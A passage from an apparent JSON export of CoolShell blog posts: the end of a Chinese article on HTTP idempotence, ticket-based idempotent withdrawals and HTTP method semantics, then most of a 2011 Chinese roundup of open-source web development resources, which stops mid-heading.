\n\n\n从定义上看，HTTP方法的幂等性是指一次和多次请求某一个资源应该具有同样的副作用。幂等性属于语义范畴，正如编译器只能帮助检查语法错误一样，HTTP规范也没有办法通过消息格式等语法手段来定义它，这可能是它不太受到重视的原因之一。但实际上，幂等性是分布式系统设计中十分重要的概念，而HTTP的分布式本质也决定了它在HTTP中具有重要地位。\n\n\n\n\n**分布式事务 vs 幂等设计**\n\n\n为什么需要幂等性呢？我们先从一个例子说起，假设有一个从账户取钱的远程API（可以是HTTP的，也可以不是），我们暂时用类函数的方式记为\n\n\n`bool withdraw(account_id, amount);` \n\n\nwithdraw的语义是从account\\_id对应的账户中扣除amount数额的钱；如果扣除成功则返回true，账户余额减少amount；如果扣除失败则返回false，账户余额不变。值得注意的是：和本地环境相比，我们不能轻易假设分布式环境的可靠性。一种典型的情况是withdraw请求已经被服务器端正确处理，但服务器端的返回结果由于网络等原因被掉丢了，导致客户端无法得知处理结果。如果是在网页上，一些不恰当的设计可能会使用户认为上一次操作失败了，然后刷新页面，这就导致了withdraw被调用两次，账户也被多扣了一次钱。如图1所示：\n\n\n[http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051039636.png](http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051027575.png)\n\n\n图1\n\n\n这个问题的解决方案一是采用分布式事务，通过引入支持分布式事务的中间件来保证withdraw功能的事务性。分布式事务的优点是对于调用者很简单，复杂性都交给了中间件来管理。缺点则是一方面架构太重量级，容易被绑在特定的中间件上，不利于异构系统的集成；另一方面分布式事务虽然能保证事务的ACID性质，而但却无法提供性能和可用性的保证。\n\n\n另一种更轻量级的解决方案是幂等设计。上面的withdraw显然不满足幂等性，但我们可以一些技巧将它变成幂等的，比如：\n\n\n\n```\nint create_ticket();\n\nbool idempotent_withdraw(ticket_id, account_id, amount);\n```\n\ncreate\\_ticket的语义是获取一个服务器端生成的唯一的处理号ticket\\_id，它将用于标识后续的操作。idempotent\\_withdraw和withdraw的区别在于关联了一个ticket\\_id，一个ticket\\_id表示的操作至多只会被处理一次，每次调用都将返回第一次调用时的处理结果。这样，idempotent\\_withdraw就符合幂等性了，客户端就可以放心地多次调用。\n\n\n基于幂等性的解决方案中一个完整的取钱流程被分解成了两个步骤：1.调用create\\_ticket()获取ticket\\_id；2.调用idempotent\\_withdraw(ticket\\_id, account\\_id, amount)。虽然create\\_ticket不是幂等的，但在这种设计下，它对系统状态的影响可以忽略，加上idempotent\\_withdraw是幂等的，所以任何一步由于网络等原因失败或超时，客户端都可以重试，直到获得结果。如图2所示：\n\n\n[http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051069339.png](http://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051059820.png)\n\n\n图2\n\n\n\n和分布式事务相比，幂等设计的优势在于它的轻量级，容易适应异构环境，以及性能和可用性方面。在某些性能要求比较高的应用，幂等设计往往是唯一的选择。\n\n\n\n**HTTP的幂等性**\n\n\nHTTP协议本身是一种面向资源的应用层协议，但对HTTP协议的使用实际上存在着两种不同的方式：一种是RESTful的，它把HTTP当成应用层协议，比较忠实地遵守了HTTP协议的各种规定；另一种是SOA的，它并没有完全把HTTP当成应用层协议，而是把HTTP协议作为了传输层协议，然后在HTTP之上建立了自己的应用层协议。本文所讨论的HTTP幂等性主要针对RESTful风格的，不过正如上一节所看到的那样，幂等性并不属于特点的协议，它是分布式系统的一种特性；所以，不论是SOA还是RESTful的Web API设计都应该考虑幂等性。下面将介绍HTTP GET、DELETE、PUT、POST四种主要方法的语义和幂等性。\n\n\nHTTP GET方法用于获取资源，不应有副作用，所以是幂等的。比如：GET http://www.bank.com/account/123456，不会改变资源的状态，不论调用一次还是N次都没有副作用。请注意，这里强调的是一次和N次具有相同的副作用，而不是每次GET的结果相同。GET http://www.news.com/latest-news这个HTTP请求可能会每次得到不同的结果，但它本身并没有产生任何副作用，因而是满足幂等性的。\n\n\nHTTP DELETE方法用于删除资源，有副作用，但它应该满足幂等性。比如：DELETE http://www.forum.com/article/4231，调用一次和N次对系统产生的副作用是相同的，即删掉id为4231的帖子；因此，调用者可以多次调用或刷新页面而不必担心引入错误。\n\n\n比较容易混淆的是HTTP POST和PUT。POST和PUT的区别容易被简单地误认为“POST表示创建资源，PUT表示更新资源”；而实际上，二者均可用于创建资源，更为本质的差别是在幂等性方面。在HTTP规范中对POST和PUT是这样定义的：\n\n\n\n> *The POST method is used to request that the origin server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line. ……* *If a resource has been created on the origin server, the response SHOULD be 201 (Created) and contain an entity which describes the status of the request and refers to the new resource, and a Location header.*\n> \n> \n> *The PUT method requests that the enclosed entity be stored under the supplied Request-URI. If the Request-URI refers to an already existing resource, the enclosed entity SHOULD be considered as a modified version of the one residing on the origin server. If the Request-URI does not point to an existing resource, and that URI is capable of being defined as a new resource by the requesting user agent, the origin server can create the resource with that URI.*\n> \n> \n\n\nPOST所对应的URI并非创建的资源本身，而是资源的接收者。比如：POST http://www.forum.com/articles的语义是在http://www.forum.com/articles下创建一篇帖子，HTTP响应中应包含帖子的创建状态以及帖子的URI。两次相同的POST请求会在服务器端创建两份资源，它们具有不同的URI；所以，POST方法不具备幂等性。\n\n\n而PUT所对应的URI是要创建或更新的资源本身。比如：PUT http://www.forum/articles/4231的语义是创建或更新ID为4231的帖子。对同一URI进行多次PUT的副作用和一次PUT是相同的；因此，PUT方法具有幂等性。\n\n\n在介绍了几种操作的语义和幂等性之后，我们来看看如何通过Web API的形式实现前面所提到的取款功能。很简单，用POST /tickets来实现create\\_ticket；用PUT /accounts/account\\_id/ticket\\_id&amount=xxx来实现idempotent\\_withdraw。值得注意的是严格来讲amount参数不应该作为URI的一部分，真正的URI应该是/accounts/account\\_id/ticket\\_id，而amount应该放在请求的body中。这种模式可以应用于很多场合，比如：论坛网站中防止意外的重复发帖。\n\n\n\n**总结**\n\n\n上面简单介绍了幂等性的概念，用幂等设计取代分布式事务的方法，以及HTTP主要方法的语义和幂等性特征。其实，如果要追根溯源，幂等性是数学中的一个概念，表达的是N次变换与1次变换的结果相同，有兴趣的读者可以从[Wikipedia](http://en.wikipedia.org/wiki/Idempotence)上进一步了解。\n\n\n\n**参考**\n\n\n[RFC 2616, Hypertext Transfer Protocol — HTTP/1.1, Method Definitions](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html)\n\n\n[The Importance of Idempotence](http://devhawk.net/2007/11/09/the-importance-of-idempotence/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![Web工程师的工具箱](../wp-content/uploads/2012/12/webtoolbox-150x150.jpg)](https://coolshell.cn/articles/8767.html)[Web工程师的工具箱](https://coolshell.cn/articles/8767.html)\n* [![谷歌Chrome取消”http://”](../wp-content/uploads/2010/04/URL-BAR-150x150.png)](https://coolshell.cn/articles/2367.html)[谷歌Chrome取消”http://”](https://coolshell.cn/articles/2367.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1480.html)[非常简单的Python HTTP服务](https://coolshell.cn/articles/1480.html)\nThe post [HTTP幂等性概念和应用](https://coolshell.cn/articles/4787.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-8 开源中最好的Web开发的资源.md",
    "content": "---\nlayout: post\ntitle: 开源中最好的Web开发的资源\ndate: 2011/6/8/ 0:28:52\nupdated: 2011/6/8/ 0:28:52\nstatus: publish\npublished: true\ntype: post\n---\n\n文章来源：[Best “must know” open sources to build the new Web](http://www.b2bweb.fr/molokoloco/best-must-know-ressources-for-building-the-new-web-%E2%98%85/ \"Best “must know” open sources to build the new Web\")。个人感觉这个收集贴收集成相当的全。\n\n\n#### 学习HTML 5编程和设计\n\n\n![](../wp-content/uploads/wallOfWonder.png \"wallOfWonder\")\n\n\n* ★ [**HTML5 Rocks**](http://www.html5rocks.com/) : Major Feature Groups  的学习 HTML5 的资源 (HTML5 演示, 教程 ). [源码](http://code.google.com/p/html5rocks/)\n* 很不错的 [**HTML5 Dashboard**](https://mozillademos.org/demos/dashboard/demo.html) – Mozilla，效果很炫。\n* [**WhatWG Developers**](http://developers.whatwg.org/), 一个清楚的 HTML5 技术规格说明书。\n* ★ [**StackOverflow**](http://stackoverflow.com/) : 大名鼎鼎的技术问答式论坛。\n* ★ [**Addyosmani**](http://addyosmani.com/blog/), jQuery 和 JavaScript 文章教程\n* [**Sohtanaka**](http://www.sohtanaka.com/web-design-tutorials/), jQuery 和 JavaScript 文章和教程\n* ★ [**Nettuts+**](http://net.tutsplus.com/category/tutorials/) 是一个面对Web开发人员和设计人员的网站，提供各种技术教程和文章，覆盖 HTML, CSS, Javascript, CMS’s, PHP 和 Ruby on Rails.\n* [**Codrops**](http://tympanus.net/codrops/), 教程和 web 资源\n* [**WebAppers**](http://www.webappers.com/), 最好的开源资源\n* [**Tutorialzine**](http://tutorialzine.com/) – PHP MySQL jQuery CSS 教程, 资源和赠品\n* **[Mozilla JavaScript guide](https://developer.mozilla.org/en/JavaScript/Guide)**\n* [**codes snippets**](http://code.google.com/p/molokoloco-coding-project/), 作者自己收集的一些代码片段\n\n\n\n#### 服务器端的软件\n\n\n![](../wp-content/uploads/nodeJs.png \"nodeJs\")\n\n\n* ★ [**Node.js**](http://nodejs.org/) 是服务器端的 JavaScript 环境，其使用了异步事件驱动模式。其让Node.js在很多互联网应用体系结构下获得非常不错的性能。 [源码](https://github.com/joyent/node/) 和 [实时演示](http://jsapp.us/)。\n* [**PhantomJS**](http://www.phantomjs.org/) 也是一个服务器端的 JavaScript API的WebKit。其支持各种Web标准： DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG\n* **[Lighttpd](http://www.lighttpd.net/)** 一个轻量级的开源Web服务器。新闻，文档，benchmarks, bugs, 和 download. Lighttpd 支撑了几个非常著名的 Web 2.0 网站，如：YouTube, wikipedia 和 meebo.\n* **[NGinx](http://nginx.net/)**, 性能巨高无比的轻量级的Web服务器。比Apache高多了。花了6年的时间，终于走到了1.0版。\n* **[Apache HTTP Server](http://httpd.apache.org/)** 是一个很流行的并支持多个流行的操作系统的Web服务器。\n* ★ **[PHP](http://www.php.net/)** 可能是最流行的服务器端的Web脚本动态处理语言。\n* 当然，还有 **[Ruby](http://www.ruby-lang.org/fr/)**, **[Python](http://www.python.org/)**, **[Erlang](http://www.erlang.org/)**, **[Perl](http://www.perl.org/)**, **[Java](http://www.java.com/fr/)**, **[.NET](http://www.microsoft.com/net/)**, **[Android](http://www.android.com/)**, **[C++](http://cpp.developpez.com/)**, **[Go](http://golang.org/)**, **[Fantom](http://fantom.org/)**,**[CoffeeScript](http://jashkenas.github.com/coffee-script/)**, **[D](http://www.digitalmars.com/)**, …\n\n\n#### PHP 框架和工具\n\n\n![](../wp-content/uploads/drupal.png \"drupal\")\n\n\n* ★ [**WordPress**](http://wordpress.org/download/) 是一个基于博客系统的开源软件。参看《[WordPress是怎么赢的？](https://coolshell.cn/articles/3716.html \"WordPress是怎么赢的？\")》\n* **[Drupal](http://drupal.org/)** 是一个内容管理系统 (CMS).\n* [**Centurion**](http://www.centurion-project.org/) 是一个新出现的开源 CMS ，一个灵然的 PHP5 Content Management Framework. 使用 Zend Framework, 其组件坚持通用，简单，清楚和可重用的设计原则。\n* **[phpBB](http://www.phpbb.com/)** 一个开源的论坛（国内的Discuz！更多）\n* **★ [SimplePie](http://simplepie.org/)** : 超快的，易用的,  RSS  和 Atom feed PHP解析。\n* **★ [PHPthumb](http://phpthumb.gxdlabs.com/)**, PHP 图片处理库\n* **★ [PHPMailer](http://phpmailer.worxware.com/)** 强大的全功能的PHP邮件库\n* **[PubSubHubbub](http://code.google.com/p/pubsubhubbub/)**协议，一个简单，开放， server-to-server 的 pubsub (publish/subscribe) 协议——Atom and RSS的扩展。\n* 更多的请参看 – [20个你应该知道PHP库](https://coolshell.cn/articles/200.html \"20 你应该知道的PHP库\") 和 [9个强大免费的PHP库](https://coolshell.cn/articles/455.html \"9个强大免费的PHP库\")\n\n\n#### 数据库\n\n\n![](../wp-content/uploads/sqldesigner.png \"sqldesigner\")\n\n\n* ★ [**Apache CouchDB**](http://couchdb.apache.org/) 是一个面向文档的数据库管理系统。它提供以JSON 作为数据格式的REST 接口来对其进行操作，并可以通过视图来操纵文档的组织和呈现。.[源码](https://github.com/apache/couchdb).\n* [**MonoQL**](http://code.google.com/p/monoql/) 是一个采用PHP+ExtJS开发的MySQL数据库管理工具。界面极像一个桌面应用程序，支持大部分常用的功能包括：表格设计，数据浏览/编辑，数据导入/导出和高级查询等。\n* [**MariaDB**](http://mariadb.org/) 是[MySQL](http://www.mysql.com/ \"MySQL\")的一个分支，由MySQL 创始人Monty Widenius 所开发。GPL，用来对抗Oracle所有的MySQL的license的不测。自Oracle收购SUN以来，整个社区对于MySQL前途的担忧就没有停止过。\n* ★ [**SQLite**](http://www.sqlite.org/) 不像常见的客户端/服务器结构范例，SQLite引擎不是个程序与之通信的独立进程，而是连接到程序中成为它的一个主要部分。所以主要的通信协议是在编程语言内的直接API调用。这在消耗总量、延迟时间和整体简单性上有积极的作用。整个数据库（定义、表、索引和数据本身）都在宿主主机上存储在一个单一的文件中。它的简单的设计是通过在开始一个事务的时候锁定整个数据文件而完成的。库实现了多数的SQL-92标准，包括事务，就是代表原子性、一致性、隔离性和持久性的（ACID），触发器和多数的复杂查询。不进行类型检查。你可以把字符串插入到整数列中。某些用户发现这是使数据库更加有用的创新，特别是与无类型的脚本语言一起使用的时候。其他用户认为这是主要的缺点。\n* **[SQL 在线设计编辑器](http://ondras.zarovi.cz/sql/demo/)**，这一节的那个图片就是这个在线编辑器的样子了。一个画数据库图表的在线工具。很强大。\n\n\n#### API 和 在线数据\n\n\n![](../wp-content/uploads/yql.png \"yql\")\n\n\n* [**ProgrammableWeb**](http://www.programmableweb.com/apis/directory), 最流行的Web Services 和 API 目录大全。\n* **[Google Data Protocol](http://code.google.com/intl/fr/apis/gdata/docs/directory.html)** 一组Google服务的数据服务API。\n* [**Yahoo! Developer Network**](http://developer.yahoo.com/everything.html) – APIs 和 Tools\n* [**Yahoo! Pipes**](http://pipes.yahoo.com/) 可视化在线编程工具，它是一个用于过滤、转换和聚合网页内容的服务。\n* ★ The [**Yahoo! Query Language**](http://developer.yahoo.com/yql/console/) 一个很像 SQL的网页查询工具。\n\n\n#### 在线代码和媒体编辑器\n\n\n![](../wp-content/uploads/jsfiddle.png \"jsfiddle\")\n\n\n* ★ [**CodeRun Studio**](http://www.coderun.com/)一个基于JavaScript语言开发的跨平台的集成开发环境，它立足于云计算的设计思路，方便开发者在浏览器端便可以轻松开发、调试和部署网络应用程序。（参看《[Coderun.com 在线开发IDE](https://coolshell.cn/articles/1883.html)》）\n* [**Cloud9 IDE**](https://github.com/ajaxorg/cloud9) – 一个基于Node.JS构建的JavaScript程序开发Web IDE。它拥有一个非常快的文本编辑器支持为JS, HTML, CSS和这几种的混合代码进行着色显示。\n* ★ [**jsFiddle**](http://jsfiddle.net/) – Javascript的在线运行展示框架，这个工具可以有效的帮助web前端开发人员来有效分享和演示前端效果，其简单而强大 (JavaScript, MooTools, jQuery, Prototype, YUI, Glow and Dojo, HTML, CSS)\n* **[Akshell](http://www.akshell.com/)，**一种云服务，它使用服务端的JavaScript和在线的IDE帮助开发者进行快速应用程序开发。 它还提供云托管，所以部署是即时的。\n* [**JSONeditor**](http://braincast.nl/samples/jsoneditor/), 一个好用的JSON 编辑器\n* ★ [**TinyMCE**](http://tinymce.moxiecode.com/wiki.php/TinyMCE) 一个轻量级的基于浏览器的所见即所得编辑器，支持目前流行的各种浏览器，由JavaScript写成。\n* [**Ext Designer**](http://www.sencha.com/products/designer/) 是一个桌面应用工具，帮助你快速开发基于ExtJS 的用户界面。\n* ★  **[LucidChart](http://www.lucidchart.com/)**，一款基于最新的html5技术的在线图表绘制软件，功能强大，速度快捷，运行此软件需要支持html5的浏览器。\n* [**Balsamiq Mockups**](http://balsamiq.com/products/mockups), 产品设计师绘制线框图或产品原型界面的利器。\n* [**Color Scheme Designer**](http://colorschemedesigner.com/) 3 – 一个免费的线上调色工具\n* ★ [**Pixlr**](http://pixlr.com/editor/), 是一个来自瑞典基于Flash的免费在线图片处理网站。除了操作介面和功能接近Photoshop，还是多语言版本，支持简体中文。（以前[酷壳介绍过](https://coolshell.cn/articles/3244.html \"在线作图编辑服务\")）\n* [**Aviary**](http://www.aviary.com/), 是一个基于HTML5 的在线图片处理工具，可以很容易的对图片进行后期处理。 [Aviary API](http://developers.aviary.com/)\n* **[Favicon Generator](http://www.degraeve.com/favicon/),** 线上favicon(16×16)制作工具。\n\n\n#### 代码资源和版本控制\n\n\n![](../wp-content/uploads/github.png \"github\")\n\n\n* ★ [**GitHub**](https://github.com/) 是一个用于使用Git版本控制系统的项目的基于互联网的存取服务。\n* [**Git**](http://code.google.com/p/msysgit/) 是一个由Linus为了更好地管理linux内核开发而创立的分布式版本控制／软件配置管理软件。其巨快无比，高效，采用了分布式版本库的方式，不必服务器端软件支持，使源代码的发布和交流极其方便。\n* [**Google Code**](http://code.google.com/) 谷歌公司官方的开发者网站，包含各种开发技术的API、开发工具、以及开发技术参考资料。\n* **[Google Libraries API](http://code.google.com/intl/zh-CN/apis/libraries/)** Google 将优秀的 JavaScript 框架部署在其 CDN 上，在我们的网站上使用 Google Libraries API 可以加速 JavaScript 框架的加载速度。\n* [**Snipplr**](http://snipplr.com/) 一个开放的源代码技巧分享社区，号称Code 2.0。和一般的源码分享网站不同，它针对的并不是大型网站源码，而是一些编程的代码技巧。\n\n\n#### JavaScript 桌面应用框架\n\n\n![](../wp-content/uploads/jqueryUI.jpg \"jqueryUI\")\n\n\n* ★ [**jQuery**](http://jquery.com/) 是一个快速、简单的JavaScript library， 它简化了HTML 文件的traversing，事件处理、动画、Ajax 互动，从而方便了网页制作的快速发展。  [源码](https://github.com/jquery/jquery), [API](http://api.jquery.com/), [API浏览](http://api.jquery.com/browser/), [很不错的文档](http://interface.eyecon.ro/docs/animate).\n* ★ 官方的 [**jQuery User Interface (UI) library**](http://jqueryui.com/) (演示和文档). [源码](https://github.com/jquery/jquery-ui%20),[Themes Roller](http://jqueryui.com/themeroller/), [Download](http://jqueryui.com/download).\n* [**YUI 2**](http://developer.yahoo.com/yui/2/) — Yahoo! User Interface Library\n* [**Mootools**](http://mootools.net/), 一个超级轻量级的 web2.0 JavaScript framework\n* [**Prototype**](http://www.prototypejs.org/) 提供面向对象的Javascript和AJAX\n* [**Dojo**](http://dojotoolkit.org/) The Dojo Toolkit，一个强大的无法被打败的面向对象JavaScript框架。主要由三大模块组成：Core、Dijit、DojoX。Core提供Ajax,events,packaging,CSS-based querying,animations,JSON等相关操作API。Dijit是一个可更换皮肤，基于模板的WEB UI控件库。DojoX包括一些创新/新颖的代码和控件：DateGrid，charts，离线应用，跨浏览器矢量绘图等。\n* ★ [**Ext JS 4**](http://dev.sencha.com/deploy/ext-4.0.0/docs/), 业内最强大的 JavaScript framework。\n* [**PHP.js**](http://phpjs.org/functions/index), 一个开源的JavaScript 库，它尝试在JavaScript 中实现PHP 函数。在你的项目中导入*PHP.JS* 库，可以在静态页面使用你喜欢的PHP 函数。\n\n\n#### JavaScript 移动和触摸框架\n\n\n![](../wp-content/uploads/senchatouch.png \"senchatouch\")\n\n\n* ★ [**jQuery Mobile**](http://jquerymobile.com/) : 是 jQuery 在手机上和平板设备上的版本。jQuery Mobile 不仅会给主流移动平台带来jQuery核心库，而且会发布一个完整统一的jQuery移动UI框架。支持全球主流的移动平台。jQuery Mobile开发团队说：能开发这个项目，我们非常兴奋。移动Web太需要一个跨浏览器的框架，让开发人员开发出真正的移动Web网站。我们将尽全力去满足这样的需求。 [Sources](https://github.com/jquery/jquery-mobile).\n* [**Zepto.js**](http://zeptojs.com/) Zepto.js 是支持移动WebKit浏览器的JavaScript框架，具有与jQuery兼容的语法。2-5k的库，通过不错的API处理绝大多数的基本工作。 [Sources](https://github.com/madrobby/zepto).\n* [**MicroJS**](http://microjs.com/) : Microjs网站应用列出了很多轻量的Javascript类库和框架，它们都很小，大部分小于5kb。这样你不需要因为只需要一个功能就要加载一个JS的框架。\n* ★ [**PhoneGap**](http://phonegap.com/) :是一款开源的手机应用开发平台，它仅仅只用HTML和JavaScript语言就可以制作出能在多个移动设备上运行的应用。 [Sources](https://github.com/phonegap/phonegap).\n* ★ [**Sencha Touch**](http://www.sencha.com/products/touch/) Sencha Touch 是一个支持多种智能手机平台（iPhone, Android, 和BlackBerry）的 HTML5 框架。Sencha Touch可以让你的Web App看起来像Native App。美丽的用户界面组件和丰富的数据管理，全部基于最新的HTML5和CSS3的 WEB标准，全面兼容Android和Apple iOS设备。\n* [**JQtouch**](http://jqtouch.com/), 是一个jQuery 的插件，主要用于手机上的Webkit 浏览器上实现一些包括动画、列表导航、默认应用样式等各种常见UI效果的JavaScript 库。 [Sources](http://github.com/senchalabs/jQTouch).\n* [**DHTMLX Touch**](http://www.dhtmlx.com/touch/) 针对移动和触摸设备的JavaScript 框架。DHTMLX Touch基于HTML5，创建移动web应用。它不只是一组UI 小工具，而是一个完整的框架，可以针对移动和触摸设备创建跨平台的web应用。它兼容主流的web浏览器，用DHTMLX Touch创建的应用，可以在iPad、iPhone、Android智能手机等上面运行流畅。\n\n\n#### jQuery 插件\n\n\n![](../wp-content/uploads/flexiGrid.jpg \"flexiGrid\")\n\n\n* [**Waypoints**](http://imakewebthings.github.com/jquery-waypoints/) 是一个jQuery 用来实现捕获各种滚动事件的插件，例如实现无翻页的内容浏览，或者固定某个元素不让滚动等等。支持主流浏览器版本。\n* **[Lazy loader](http://plugins.jquery.com/project/lazy)** 插件可以实现图片的延迟加载，当网页比较长的时候，会先只加载用户视窗内的图片，视窗外的图片会等到你拖动滚动条至后面才加载，这样有效的避免了因图片过多而加载慢的弊端。\n* [**TweenJS**](https://github.com/gskinner/TweenJS) : 一个简单和强大的 tweening / animation 的Javascript库。\n* [**Easings**](http://janne.aukia.com/easie/) 类Css3的jQuery 动画插件\n* [**Spritely**](http://www.spritely.net/) 这个插件可以创建出如flash一样的动画效果，比如：在页面上有一只飞动的小鸟，一个动态滚动的背景等。\n* **[File Upload](https://github.com/blueimp/jQuery-File-Upload/),** jQuery 文件上传插件4.4.1\n* [**Slideshow/Carousel**](http://www.agilecarousel.com/) 插件. [Sources](https://github.com/edtalmadge/Agile-Carousel).\n* [**Supersized**](http://www.buildinternet.com/project/supersized/) – 全屏式的背景/幻灯片插件\n* [**Masonry**](http://desandro.com/resources/jquery-masonry) i一款非常酷的自动排版插件，这款jQuery工具可以根据网格来自动排列水平和垂直元素，超越原来的css. [Sources](https://github.com/desandro/masonry).\n* jQuery 简单 [**Layout**](http://layout.jquery-dev.net/demos.cfm) 演示，管理各种边栏式，可改变大小式的布局。\n* [**Flexigrid**](http://www.flexigrid.info/) – jQuery 数据表插件\n* [**Isotope**](http://isotope.metafizzy.co/)绝对是一个令人难以置信的*jQuery*插件，你可以用它来创建动态和智能布局。你可以隐藏和显示与过滤项目，重新排序和整理甚至更多。\n* [**Super Gestures**](http://www.evanbyrne.com/article/super-gestures-jquery-plugin) jQuery 插件可以实现鼠标手势的功能。\n* [**MouseWheel**](https://github.com/brandonaaron/jquery-mousewheel) 是由Brandon Aaron开发的*jQuery*插件，用于添加跨浏览器的鼠标滚轮支持。\n* [**AutoSuggest**](http://code.drewwilson.com/entry/autosuggest-jquery-plugin) jQuery 插件可以让你添加一些自动完成的功能。\n* [**qTip**](http://craigsworks.com/projects/qtip/) 一个漂亮的*jQuery* 的工具提示插件，这个插件功能相当强大。\n* jQuery [**Charts and graphic**](http://www.highcharts.com/demo/) 用来制作图表。\n* jQuery Tools– The [**missing UI library**](http://flowplayer.org/tools/demos/)\n\n\n#### 其它 jQuery 资源\n\n\n* <http://www.smashingmagazine.com/2011/04/07/useful-javascript-and-jquery-tools-libraries-plugins>\n* <http://webdesigneraid.com/weekly-html5-news-and-inspirations-%E2%80%93-tutorials-tools-resources-and-freebies-v-2/>\n* <http://www.designer-daily.com/15-useful-jquery-plugins-and-tutorials-5207>\n* <http://www.julien-verkest.fr/22/11/2007/240-plugins-jquery>\n* <http://www.hotscripts.com/blog/10-great-html5-experiments-apps/>\n* <http://www.noupe.com/jquery/excellent-jquery-navigation-menu-tutorials.html>\n* <http://www.noupe.com/php/20-useful-php-jquery-tutorials.html>\n* <http://aext.net/2010/04/excellent-jquery-plugins-resources-for-data-presentation-and-grid-layout/>\n* <http://webdesigneraid.com/html5-canvas-graphing-solutions-every-web-developers-must-know/>\n* <http://gestureworks.com/features/open-source-gestures/>\n* <http://edtechdev.wordpress.com/2011/01/14/some-exciting-new-html5javascript-projects/>\n* <http://net.tutsplus.com/articles/web-roundups/30-developers-you-must-subscribe-to-as-a-javascript-junkie/>\n\n\n#### HTML5 视频播放器\n\n\n![](../wp-content/uploads/leanBackPlayer.jpg \"leanBackPlayer\")\n\n\n* ★ [**Popcorn.js**](https://github.com/webmademovies/popcorn-js) 是一个HTML5 Video框架，它提供了易于使用的API来同步交互式内容，让操作HTML5 Video元素的属性，方法和事件变得简单易用。 (来自Mozilla)\n* [**LeanBack Player**](http://dev.mennerich.name/showroom/html5_video/) HTML5视频播放器,没有依赖任何JavaScript框架。支持全屏播放，音量控制，在同一个页面中播放多个视频。 (来自Google)\n* [**Vid.ly**](http://m.vid.ly/user/) 为你上传的视频提供转换功能，并且为转换后的视频创建一个短网址。通过Vid.ly，让你的视频可以在14种不同的浏览器和设备上播放，不需要再去考虑将要浏览视频的人使用什么设备了，以避免各各软件巨头之间的利益之争带来了不兼容，给用户带来了巨大的困扰，短网址让你可以通过Twitter、Facebook等方式方便分享视频。Vid.ly还可以通过html代码嵌入到其他网页中。Vid.ly免费帐户空间为1GB，免费帐户也没有播放或浏览限制。\n\n\n#### JavaScript 音频处理与可视化效果\n\n\n![](../wp-content/uploads/soundmanager.png \"soundmanager\")\n\n\n* ★ 使用HTML5 和 Flash, [**SoundManager V2**](http://www.schillmania.com/projects/soundmanager2/) 只用单一API的提供了可靠，简单和强大的跨平台的音频处理。\n* [**DSP**](https://github.com/corbanbrook/dsp.js/), JavaScript的声音Digital Signal Processing\n* The Radiolab [**Hyper Audio Player**](http://yoyodyne.cc/radiolab/) v1, 带给你 WNYC Radiolab, SoundCloud 和 Mozilla Drumbeat\n* [**jPlayer**](http://jplayer.org/), 一个 jQuery HTML5 音频/ 视频库，功能齐全的API\n\n\n#### JavaScript 图形 和 3D\n\n\n![](../wp-content/uploads/processing.png \"processing\")\n\n\n* ★ [**Processing.js**](http://processingjs.org/)是一个开放的编程语言，在不使用Flash或Java小程序的前提下, 可以实现程序图像、动画和互动的应用。其使用Web标准，无需任何插件。\n* ★ Javascript 3D 引擎: [**ThreeJS**](https://github.com/mrdoob/three.js) 由 Mr Doob 开发，一个轻量级的 3D 引擎，不需要了解细节，傻瓜都能使用。这个引擎可以使用<canvas>, <svg> 和 WebGL.\n* [**Shader Toy**](http://www.iquilezles.org/apps/shadertoy/), 一款使用WebGL的在线着色器编辑器(2D/3D). 基于在线的应用架构使您无需下载任何软件即可开始体验. Shader Toy包含大量实用着色器, 诸如光线追踪, 场景距离渲染, 球体, 隧道, 变形, 后期处理特效等.\n* [**PhiloGL**](http://senchalabs.github.com/philogl/), Sencha的PhiloGL是首个WebGL开发工具之一，提供了高水准的功能，来构建WebGL应用。Sencha创建了几个演示，来描述框架交互式3D虚拟化的能力，比如[3D view of global temperature changes](http://senchalabs.github.com/philogl/PhiloGL/examples/temperatureAnomalies/)。\n* [**WebGL Inspector**](http://benvanik.github.com/WebGL-Inspector/) 你就Firebug等Web调试工具一样，这个是 WebGL的调试工具。\n* [**WebGL frameworks**](http://www.khronos.org/webgl/wiki_1_15/) 由 Khronos Group 收集的一个WebGL框架列表。\n* [**EaselJS**](http://easeljs.com/), 一个使用html5的canvas的 JavaScript 库. [Sources](https://github.com/gskinner/EaselJS).\n* [**JavaScript Game Frameworks**](http://www.webresourcesdepot.com/free-javascript-game-frameworks-to-create-a-web-based-fun/) 免费的JS游戏框架列表。另，可参看 [JS游戏框架列表](https://coolshell.cn/articles/3516.html \"JS游戏引擎列表\")。\n* [**Raphaël**](http://raphaeljs.com/)是一个小型的JavaScript 库，用来简化在页面上显示向量图的工作。你可以用它在页面上绘制各种图表、并进行图片的剪切、旋转等操作。参看[Javascript向量图Lib–Raphaël](https://coolshell.cn/articles/3107.html \"Javascript向量图Lib–Raphaël\")\n* [**jQuery SVG**](http://keith-wood.name/svgRef.html) 插件让你可以了 SVG canvas 进行交互。\n* [**Google chart tools**](http://code.google.com/intl/fr/apis/chart/) –  参看本站的[使用Google API做统计图](https://coolshell.cn/articles/582.html)\n* [**Arbor.js**](http://arborjs.org/), 是一个利用webworkers和jQuery创建的数据图形可视化JavaScript框架。它为图形组织和屏幕刷新处理提供了一个高效、力导向布局算法。\n\n\n#### JavaScript 